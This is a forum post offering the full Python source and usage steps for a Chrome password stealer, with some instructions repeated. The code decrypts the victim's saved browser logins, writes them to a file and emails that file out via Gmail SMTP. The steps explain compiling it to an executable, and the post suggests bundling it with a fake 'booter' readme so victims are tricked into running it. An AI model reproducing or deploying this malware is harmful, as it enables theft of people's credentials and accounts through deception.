Jun 23, 2015 10:04 AM
(This post was last modified: Apr 15, 2016 10:24 AM by @beef.)
I completed my chrome password stealer a few days ago and posted the source in the python section but didn't say how to use it. Usually you'd have to pay for this type of program so a thank you is nice. I'll put the source here and you can follow the steps to use it.
Step 1: Download Python 2.7 ,the compiler py2exe and the module win32. Download the readme.txt to see what one you need to download on the win32 website..
Step 2: Now open Python 2.7 after you've installed it. It should come up with "Python Shell". Now go to the top left corner and click New Window. Paste this code in.
.
Step 3:Now you need to look for the red text named "#Note:Your email account". You need a gmail account for this. Where it says "user" swap it with your gmail email adddress ([email protected]).
Then add in your password. If you've typed in the wrong password then an error will show up saying that.
Step 4:Now you need to make your gmail account accessible by the script. In the error it should show a link and you click on that link then you can easily select disable. If you're stuck on this part message me on skype. I'll leave my skype below.
Step 5: Last and final step for it to work :) . You must compile it. There's a Tutorial on the py2exe website but you MUST!! put the program and the setup.py into C:\Python27 folder or the tutorial won't work.
Extra:You can add some shit like this to the folder with your booter in to make it more convincing.
This program took a while to make and also making this thread so if you could leave a thank you it'd be nice. Also if you're stuck and need help then you can add me on skype and I'll be happy to help :) 🤝
Step 1: Download Python 2.7 ,the compiler py2exe and the module win32. Download the readme.txt to see what one you need to download on the win32 website..
Step 2: Now open Python 2.7 after you've installed it. It should come up with "Python Shell". Now go to the top left corner and click New Window. Paste this code in.
Code
from os import getenv
import sqlite3
import win32crypt
import sys
f = open("passwords.txt", "w")
# Connect to the Database
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
# Decrypt the Password
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print >>f, 'Site: ' + result[0]
print >>f, 'Username: ' + result[1]
print >>f, 'Password: ' + password
f.close()
#Note: End of password decrypting
#Note: Start emailing
import smtplib
import mimetypes
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import os
#Note: Your Email Account
emailfrom = "user"
emailto = "user"
fileToSend = "passwords.txt"
user = "user"
password = "pass"
#Note: Email Subject Ect.
msg = MIMEMultipart()
msg["From"] = emailfrom
msg["To"] = emailto
msg["Subject"] = "Passwords ;^)"
msg.preamble = "Passwords yay! :)"
ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
ctype = "application/octet-stream"
maintype, subtype = ctype.split("/", 1)
if maintype == "text":
fp = open(fileToSend)
# Note: we should handle calculating the charset
attachment = MIMEText(fp.read(), _subtype=subtype)
fp.close()
elif maintype == "image":
fp = open(fileToSend, "rb")
attachment = MIMEImage(fp.read(), _subtype=subtype)
fp.close()
elif maintype == "audio":
fp = open(fileToSend, "rb")
attachment = MIMEAudio(fp.read(), _subtype=subtype)
fp.close()
else:
fp = open(fileToSend, "rb")
attachment = MIMEBase(maintype, subtype)
attachment.set_payload(fp.read())
fp.close()
encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
msg.attach(attachment)
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(user,password)
server.sendmail(emailfrom, emailto, msg.as_string())
server.quit()
print ("Completed Process").
Step 3:Now you need to look for the red text named "#Note:Your email account". You need a gmail account for this. Where it says "user" swap it with your gmail email adddress ([email protected]).
Then add in your password. If you've typed in the wrong password then an error will show up saying that.
Step 4:Now you need to make your gmail account accessible by the script. In the error it should show a link and you click on that link then you can easily select disable. If you're stuck on this part message me on skype. I'll leave my skype below.
Step 5: Last and final step for it to work :) . You must compile it. There's a Tutorial on the py2exe website but you MUST!! put the program and the setup.py into C:\Python27 folder or the tutorial won't work.
Extra:You can add some shit like this to the folder with your booter in to make it more convincing.
Code
Don't delete any of the libraries because they
are necessary for the booters gui. Also if it
doesn't work first time close your browser and
try again because the browser interferes with it.
1. Open the BeeF-Booter.exe
2. Type in "BeeFBooter" as the password
3. Type in the ip,port and time (max time is 300 seconds)
4. Don't spam click anything because it'll make the program crash.
Enjoy ;^)
- BeeFThis program took a while to make and also making this thread so if you could leave a thank you it'd be nice. Also if you're stuck and need help then you can add me on skype and I'll be happy to help :) 🤝
